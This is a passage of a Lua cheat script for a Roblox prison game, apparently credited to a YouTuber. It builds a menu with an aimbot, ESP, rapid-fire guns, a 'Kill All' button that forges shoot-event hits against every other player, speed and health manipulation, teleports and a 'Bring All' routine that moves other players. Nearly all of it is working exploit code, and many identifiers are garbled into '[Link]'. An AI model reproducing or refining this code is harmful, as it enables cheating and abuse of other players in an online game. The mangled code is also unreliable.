(0.5,0,0.5,0)
[Link] = [Link] (1,0,1,0)
[Link] = 0

[Link]:Connect(function()
bill:Destroy()
end)
end
end

end
end
end
local cam = [Link]

local mouse = lplr:GetMouse()


local switch = false
local key = "k"
local aimatpart = nil
[Link]:Connect(function(a)
if a == "t" then
print("worked1")
[Link]()
elseif a == "u" then
if raycast == true then
raycast = false
else
raycast = true
end
elseif a == "l" then
if autoesp == false then
autoesp = true
else
autoesp = false
end
end
if a == "j" then
if [Link] then
[Link]:Destroy()
end
end
if a == key then
if switch == false then
switch = true
else
switch = false
if aimatpart ~= nil then
aimatpart = nil
end
end
elseif a == teambasedswitch then
if TeamBased == true then
TeamBased = false
[Link] = tostring(TeamBased)
else
TeamBased = true
[Link] = tostring(TeamBased)
end
elseif a == aimkey then
if not aimatpart then
local maxangle = [Link](20)
for i, plr in pairs(plrs:GetChildren()) do
if [Link] ~= [Link] and
[Link] and [Link] and [Link] and
[Link] > 1 then
if TeamBased == true then
if [Link] ~=
[Link] then
local an =
checkfov([Link])
if an < maxangle then
maxangle = an
aimatpart =
[Link]
end
end
else
local an =
checkfov([Link])
if an < maxangle then
maxangle = an
aimatpart =
[Link]
end
print(plr)
end

[Link]:Connect(function()
if [Link] ==
[Link] or aimatpart == nil then
aimatpart = nil
end
end)
end
end
else
aimatpart = nil
end
end
end)

function getfovxyz (p0, p1, deg)


local x1, y1, z1 = p0:ToOrientation()
local cf = [Link](p0.p, p1.p)
local x2, y2, z2 = cf:ToOrientation()
--local d = [Link]
if deg then
--return [Link](d(x1-x2), d(y1-y2), d(z1-z2))
else
return [Link]((x1-x2), (y1-y2), (z1-z2))
end
end

function getaimbotplrs()
plrsforaim = {}
for i, plr in pairs(plrs:GetChildren()) do
if [Link] and [Link] and
[Link] > 0 and [Link] ~= [Link] and [Link]
then

if TeamBased == true then


if [Link] ~= [Link] then
local cf =
[Link]([Link].p, [Link].p)
local r = [Link](cf, [Link]
* 10000)
local ign = {}
for i, v in
pairs([Link]:GetChildren()) do
if v:IsA("BasePart") then
[Link](ign , v)
end
end
local obj =
[Link]:FindPartOnRayWithIgnoreList(r, ign)
if [Link] == [Link] and
[Link] ~= [Link] then
[Link](plrsforaim, obj)
end
end
else
local cf =
[Link]([Link].p, [Link].p)
local r = [Link](cf, [Link] *
10000)
local ign = {}
for i, v in
pairs([Link]:GetChildren()) do
if v:IsA("BasePart") then
[Link](ign , v)
end
end
local obj =
[Link]:FindPartOnRayWithIgnoreList(r, ign)
if [Link] == [Link] and
[Link] ~= [Link] then
[Link](plrsforaim, obj)
end
end

end
end
end

function aimat(part)
[Link] = [Link]([Link].p, [Link].p)
end
function checkfov (part)
local fov = getfovxyz([Link],
[Link])
local angle = [Link](fov.X) + [Link](fov.Y)
return angle
end

game:GetService("RunService").RenderStepped:Connect(function()
if aimatpart then
aimat(aimatpart)
if [Link] == [Link]
then
aimatpart = nil
end
end
-- if switch == true then
-- local maxangle = 99999
--
-- --print("Loop")
-- if true and raycast == false then
-- for i, plr in
pairs(plrs:GetChildren()) do
-- if [Link] ~= [Link]
and [Link] and [Link] and [Link] and
[Link] > 1 then
-- if TeamBased then
-- if
[Link] ~= [Link] or [Link] ~= [Link] then
--
local an = checkfov([Link])
--
if an < maxangle then
--
maxangle = an
--
aimatpart = [Link]
--
if an < lockangle then
--
break
--
end
--
end
-- end
-- else
-- local an
= checkfov([Link])
--
if an < maxangle then
--
maxangle = an
--
aimatpart = [Link]
--
if an < lockangle then
--
break
--
end
--
end
-- end
--
--
--
--
-- end
-- end
-- elseif raycast == true then
--
-- end

if raycast == true and switch == false and not aimatpart


then
getaimbotplrs()
aimatpart = nil
local maxangle = 999
for i, v in ipairs(plrsforaim) do
if [Link] ~= [Link] then
local an = checkfov(v)
if an < maxangle and v ~=
[Link] then
maxangle = an
aimatpart = v
print(v:GetFullName())

[Link]:connect(function()
aimatpart = nil
end)
end
end
end

end
end)
delay(0, function()
while wait(espupdatetime) do
if autoesp == true then
pcall(function()
[Link]()
end)
end
end
end)
warn("loaded")
end)

[Link] = "fastrem"
[Link] = main
fastrem.BackgroundColor3 = [Link](1, 0.333333, 0)
[Link] = [Link](0.00783289783, 0, 0.518048227, 0)
[Link] = [Link](0, 84, 0, 32)
[Link] = [Link]
[Link] = "Fast Remington"
fastrem.TextColor3 = [Link](0, 0, 0)
[Link] = 14
fastrem.MouseButton1Down:connect(function()
local Player = [Link]
local Gun = "Remington 870" -- < -- Gun Name
local Run = game:GetService("RunService")

Gun = [Link][Player].Character[Gun]
local Mouse = [Link]:GetMouse()
local Down = false
local Sound = [Link]

function CreateRay(Point_A, Point_B)


local Ray = [Link](Point_A, (Point_B - Point_A).Unit * (2
^ 31 - 1))
local Part, Pos = workspace:FindPartOnRay(Ray,
[Link])
local Dist = (Point_A - Pos).Magnitude
local CFrame = [Link](Point_A, Pos) * [Link](0, 0,
-Dist / 2)

return CFrame, Dist, Ray


end

function FireLaser(target)
[Link]([Link](function()
local C, D, R = CreateRay([Link].p,
[Link].p)
local Bullet = [Link]("Part", Gun)
[Link] = [Link]()
[Link] = "Neon"
[Link] = true
[Link] = false
[Link] = [Link](0.2, 0.2, D)
[Link] = C

local bulletTable = {}
[Link](bulletTable, {
Hit = target,
Distance = D,
Cframe = C,
RayObject = R
})

[Link]:FireServer(bulletTable, Gun)
local C = Sound:Clone()
[Link] = Gun
C:Play()
wait(0.05)
Bullet:Remove()
end))
end

Mouse.Button1Down:Connect(function()
Down = true
end)

Mouse.Button1Up:Connect(function()
Down = false
end)

while [Link]:wait() do
if Down == true then
[Link]:FireServer(Sound,
Gun)
FireLaser([Link])
end
end
end)

[Link] = "fastm9"
[Link] = main
fastm9.BackgroundColor3 = [Link](1, 0.333333, 0)
[Link] = [Link](0.267702788, 0, 0.518048167, 0)
[Link] = [Link](0, 84, 0, 32)
[Link] = [Link]
[Link] = "Fast M9"
fastm9.TextColor3 = [Link](0, 0, 0)
[Link] = 14
fastm9.MouseButton1Down:connect(function()
local Player = [Link]
local Gun = "M9" -- < -- Gun Name
local Run = game:GetService("RunService")

Gun = [Link][Player].Character[Gun]
local Mouse = [Link]:GetMouse()
local Down = false
local Sound = [Link]

function CreateRay(Point_A, Point_B)


local Ray = [Link](Point_A, (Point_B - Point_A).Unit * (2
^ 31 - 1))
local Part, Pos = workspace:FindPartOnRay(Ray,
[Link])
local Dist = (Point_A - Pos).Magnitude
local CFrame = [Link](Point_A, Pos) * [Link](0, 0,
-Dist / 2)

return CFrame, Dist, Ray


end

function FireLaser(target)
[Link]([Link](function()
local C, D, R = CreateRay([Link].p,
[Link].p)
local Bullet = [Link]("Part", Gun)
[Link] = [Link]()
[Link] = "Neon"
[Link] = true
[Link] = false
[Link] = [Link](0.2, 0.2, D)
[Link] = C

local bulletTable = {}
[Link](bulletTable, {
Hit = target,
Distance = D,
Cframe = C,
RayObject = R
})

[Link]:FireServer(bulletTable, Gun)
local C = Sound:Clone()
[Link] = Gun
C:Play()
wait(0.05)
Bullet:Remove()
end))
end

Mouse.Button1Down:Connect(function()
Down = true
end)

Mouse.Button1Up:Connect(function()
Down = false
end)

while [Link]:wait() do
if Down == true then
[Link]:FireServer(Sound,
Gun)
FireLaser([Link])
end
end
end)

[Link] = "fasttaze"
[Link] = main
fasttaze.BackgroundColor3 = [Link](1, 0.333333, 0)
[Link] = [Link](0.522364557, 0, 0.518048108, 0)
[Link] = [Link](0, 84, 0, 32)
[Link] = [Link]
[Link] = "Fast Taser"
fasttaze.TextColor3 = [Link](0, 0, 0)
[Link] = 14
fasttaze.MouseButton1Down:connect(function()
local Player = [Link]
local Gun = "Taser" -- < -- Gun Name
local Run = game:GetService("RunService")

Gun = [Link][Player].Character[Gun]
local Mouse = [Link]:GetMouse()
local Down = false
local Sound = [Link]
function CreateRay(Point_A, Point_B)
local Ray = [Link](Point_A, (Point_B - Point_A).Unit * (2
^ 31 - 1))
local Part, Pos = workspace:FindPartOnRay(Ray,
[Link])
local Dist = (Point_A - Pos).Magnitude
local CFrame = [Link](Point_A, Pos) * [Link](0, 0,
-Dist / 2)

return CFrame, Dist, Ray


end

function FireLaser(target)
[Link]([Link](function()
local C, D, R = CreateRay([Link].p,
[Link].p)
local Bullet = [Link]("Part", Gun)
[Link] = [Link]()
[Link] = "Neon"
[Link] = true
[Link] = false
[Link] = [Link](0.2, 0.2, D)
[Link] = C

local bulletTable = {}
[Link](bulletTable, {
Hit = target,
Distance = D,
Cframe = C,
RayObject = R
})

[Link]:FireServer(bulletTable, Gun)
local C = Sound:Clone()
[Link] = Gun
C:Play()
wait(0.05)
Bullet:Remove()
end))
end

Mouse.Button1Down:Connect(function()
Down = true
end)

Mouse.Button1Up:Connect(function()
Down = false
end)
while [Link]:wait() do
if Down == true then
[Link]:FireServer(Sound,
Gun)
FireLaser([Link])
end
end
end)

[Link] = "fastak"
[Link] = main
fastak.BackgroundColor3 = [Link](1, 0.333333, 0)
[Link] = [Link](0.77959609, 0, 0.518048167, 0)
[Link] = [Link](0, 79, 0, 32)
[Link] = [Link]
[Link] = "Fast AK47"
fastak.TextColor3 = [Link](0, 0, 0)
[Link] = 14
fastak.MouseButton1Down:connect(function()
local Player = [Link]
local Gun = "AK47" -- < -- Gun Name
local Run = game:GetService("RunService")

Gun = [Link][Player].Character[Gun]
local Mouse = [Link]:GetMouse()
local Down = false
local Sound = [Link]

function CreateRay(Point_A, Point_B)


local Ray = [Link](Point_A, (Point_B - Point_A).Unit * (2
^ 31 - 1))
local Part, Pos = workspace:FindPartOnRay(Ray,
[Link])
local Dist = (Point_A - Pos).Magnitude
local CFrame = [Link](Point_A, Pos) * [Link](0, 0,
-Dist / 2)

return CFrame, Dist, Ray


end

function FireLaser(target)
[Link]([Link](function()
local C, D, R = CreateRay([Link].p,
[Link].p)
local Bullet = [Link]("Part", Gun)
[Link] = [Link]()
[Link] = "Neon"
[Link] = true
[Link] = false
[Link] = [Link](0.2, 0.2, D)
[Link] = C

local bulletTable = {}
[Link](bulletTable, {
Hit = target,
Distance = D,
Cframe = C,
RayObject = R
})

[Link]:FireServer(bulletTable, Gun)
local C = Sound:Clone()
[Link] = Gun
C:Play()
wait(0.05)
Bullet:Remove()
end))
end

Mouse.Button1Down:Connect(function()
Down = true
end)

Mouse.Button1Up:Connect(function()
Down = false
end)

while [Link]:wait() do
if Down == true then
[Link]:FireServer(Sound,
Gun)
FireLaser([Link])
end
end
end)

[Link] = "killall"
[Link] = main
killall.BackgroundColor3 = [Link](1, 0, 0)
[Link] = [Link](0.0102345012, 0, 0.760852396, 0)
[Link] = [Link](0, 110, 0, 34)
[Link] = [Link]
[Link] = "Kill All"
killall.TextColor3 = [Link](0, 0, 0)
[Link] = 14
killall.MouseButton1Down:connect(function()
[Link]:FireServer("Medium stone grey")

[Link]:InvokeServer(workspace.Prison_ITEMS.giver["Reming
ton 870"].ITEMPICKUP)
wait(0.5)
function kill(a)
local A_1 =
{
[1] =
{
["RayObject"] =
[Link]([Link](845.555908, 101.429337, 2269.43945), [Link](-391.152252,
8.65560055, -83.2166901)),
["Distance"] = 3.2524313926697,
["Cframe"] = [Link](840.310791,
101.334137, 2267.87988, 0.0636406094, 0.151434347, -0.986416459, 0, 0.988420188,
0.151741937, 0.997972965, -0.00965694897, 0.0629036576),
["Hit"] = [Link]
},
[2] =
{
["RayObject"] =
[Link]([Link](845.555908, 101.429337, 2269.43945), [Link](-392.481476,
-8.44939327, -76.7261353)),
["Distance"] = 3.2699294090271,
["Cframe"] = [Link](840.290466,
101.184189, 2267.93506, 0.0964837447, 0.0589403138, -0.993587971, 4.65661287e-10,
0.998245299, 0.0592165813, 0.995334625, -0.00571343815, 0.0963144377),
["Hit"] = [Link]
},
[3] =
{
["RayObject"] =
[Link]([Link](845.555908, 101.429337, 2269.43945), [Link](-389.21701,
-2.50536323, -92.2163162)),
["Distance"] = 3.1665518283844,
["Cframe"] = [Link](840.338867,
101.236496, 2267.80371, 0.0166504811, 0.0941716284, -0.995416701, 1.16415322e-10,
0.995554805, 0.0941846818, 0.999861419, -0.00156822044, 0.0165764652),
["Hit"] = [Link]
},
[4] =
{
["RayObject"] =
[Link]([Link](845.555908, 101.429337, 2269.43945), [Link](-393.353973,
3.13988972, -72.5452042)),
["Distance"] = 3.3218522071838,
["Cframe"] = [Link](840.277222,
101.285957, 2267.9707, 0.117109694, 0.118740402, -0.985994935, -1.86264515e-09,
0.992826641, 0.119563118, 0.993119001, -0.0140019981, 0.116269611),
["Hit"] = [Link]
},
[5] =
{
["RayObject"] =
[Link]([Link](845.555908, 101.429337, 2269.43945), [Link](-390.73172,
3.2097764, -85.5477524)),
["Distance"] = 3.222757101059,
["Cframe"] = [Link](840.317993,
101.286423, 2267.86035, 0.0517584644, 0.123365127, -0.991010666, 0, 0.992340803,
0.123530701, 0.99865967, -0.00639375951, 0.0513620302),
["Hit"] = [Link]
}
}
local A_2 = [Link]["Remington
870"]
local Event =
game:GetService("ReplicatedStorage").ShootEvent
Event:FireServer(A_1, A_2)
Event:FireServer(A_1, A_2)
end

for i,v in pairs([Link]:GetChildren())do


if [Link] ~= [Link] then
kill(v)
end
end
wait(1)
[Link]:FireServer("Bright orange")
end)

[Link] = "btools"
[Link] = main
btools.BackgroundColor3 = [Link](0, 1, 1)
[Link] = [Link](0.678933322, 0, 0.2304198, 0)
[Link] = [Link](0, 111, 0, 32)
[Link] = [Link]
[Link] = "Btools"
btools.TextColor3 = [Link](1, 0, 0)
[Link] = 14
btools.MouseButton1Down:connect(function()
local tool1 =
[Link]("HopperBin",[Link])
[Link] = "Hammer"
end)

[Link] = "speed"
[Link] = main
speed.BackgroundColor3 = [Link](0.333333, 1, 1)
[Link] = [Link](0.350194454, 0, 0.379678607, 0)
[Link] = [Link](0, 110, 0, 32)
[Link] = [Link]
[Link] = "Speed"
speed.TextColor3 = [Link](1, 0, 0)
[Link] = 14
speed.MouseButton1Down:connect(function()
Speed = "100" -- Change to how fast you want to go

player = [Link]
power = "WalkSpeed"
[Link][power] = Speed
wait()
[Link] =
[Link](9e99, 9e99, 9e99, 9e99, 9e99)
wait()
repeat
[Link] = 1000
wait()
[Link] =
287.5
wait()
until [Link] == 0
end)

[Link] = "respawn"
[Link] = main
respawn.BackgroundColor3 = [Link](0.333333, 1, 1)
[Link] = [Link](0.68041873, 0, 0.379084349, 0)
[Link] = [Link](0, 111, 0, 32)
[Link] = [Link]
[Link] = "Fast Respawn"
respawn.TextColor3 = [Link](1, 0, 0)
[Link] = 14
respawn.MouseButton1Down:connect(function()
local A_1 = "\66\114\111\121\111\117\98\97\100\100"
local Event = game:GetService("Workspace").[Link]
Event:InvokeServer(A_1)
end)

[Link] = "Credits"
[Link] = main
Credits.BackgroundColor3 = [Link](0, 0, 0)
[Link] = [Link](0.0242873691, 0, 0.934491813, 0)
[Link] = [Link](0, 352, 0, 31)
[Link] = [Link]
[Link] = "Made by JAKE11PRICE on YouTube"
Credits.TextColor3 = [Link](1, 1, 0)
[Link] = 14

[Link] = "prison"
[Link] = main
prison.BackgroundColor3 = [Link](0, 1, 1)
[Link] = [Link](0.681462109, 0, 0.450664163, 0)
[Link] = [Link](0, 110, 0, 32)
[Link] = [Link]
[Link] = "Prison"
prison.TextColor3 = [Link](1, 0, 0)
[Link] = 14
prison.MouseButton1Down:connect(function()
[Link] =
[Link](918.77,100,2379.07)
end)

[Link] = "yard"
[Link] = main
yard.BackgroundColor3 = [Link](0.333333, 1, 1)
[Link] = [Link](0.0127276238, 0, 0.45231539, 0)
[Link] = [Link](0, 110, 0, 32)
[Link] = [Link]
[Link] = "Yard"
yard.TextColor3 = [Link](1, 0, 0)
[Link] = 14
yard.MouseButton1Down:connect(function()
[Link] =
[Link](779.87,98,2458.93)
end)

[Link] = "crimbase"
[Link] = main
crimbase.BackgroundColor3 = [Link](0.333333, 1, 1)
[Link] = [Link](0.348744512, 0, 0.451209784, 0)
[Link] = [Link](0, 110, 0, 32)
[Link] = [Link]
[Link] = "Crim Base"
crimbase.TextColor3 = [Link](1, 0, 0)
[Link] = 14
crimbase.MouseButton1Down:connect(function()
[Link] =
[Link](-943.46,94.13,2063.63)
end)

title_2.Name = "title"
title_2.Parent = main
title_2.BackgroundColor3 = [Link](0.333333, 1, 0)
title_2.Position = [Link](0.000689314213, 0, 0.592849016, 0)
title_2.Size = [Link](0, 364, 0, 26)
title_2.Font = [Link]
title_2.Text = "FUN FE COMMANDS!"
title_2.TextColor3 = [Link](0, 0, 0)
title_2.TextSize = 14

[Link] = "bringall"
[Link] = main
bringall.BackgroundColor3 = [Link](1, 1, 0)
[Link] = [Link](0.0220828541, 0, 0.704794765, 0)
[Link] = [Link](0, 111, 0, 25)
[Link] = [Link]
[Link] = "Bring All"
bringall.TextColor3 = [Link](0, 0, 0)
[Link] = 14
bringall.MouseButton1Down:connect(function()
[Link]:FireServer("Bright blue")

local LocalPlayer = game:GetService("Players").LocalPlayer


local runservice = game:GetService("RunService")
local characters = {}
[Link]:FindFirstChild("Humanoid"):UnequipTools()
local currentamount = #[Link]:GetChildren()
[Link] = true
local tempchar = [Link]:Clone()
[Link] = workspace
local savepos =
[Link]:FindFirstChild("HumanoidRootPart").CFrame
local renderstepped = [Link]:Connect(function()
[Link] =
tempchar:FindFirstChild("Humanoid")
for _, tool in pairs([Link]:GetChildren()) do
if tool:IsA("Tool") then
[Link] = LocalPlayer
end
end
[Link]:ClearAllChildren()
local char = [Link]("Model", workspace)
[Link](characters, char)
[Link]("Humanoid", char)
[Link] = char
repeat [Link]:Wait() until
[Link] ~= nil
end)
repeat [Link]:Wait() until
#LocalPlayer:GetChildren() - 2 - currentamount >= #[Link]:GetPlayers() * 6
renderstepped:Disconnect()
repeat [Link]:Wait() until
[Link]:FindFirstChild("HumanoidRootPart") ~= nil
for _, char in pairs(characters) do
char:Destroy()
end
for _, tool in pairs(LocalPlayer:GetChildren()) do
if tool:IsA("Tool") then
[Link] = [Link]
end
end
[Link]:FindFirstChild("HumanoidRootPart").CFrame =
savepos
tempchar:Destroy()

wait()

for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(.1)
end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then
[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)
end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then
[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])
end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
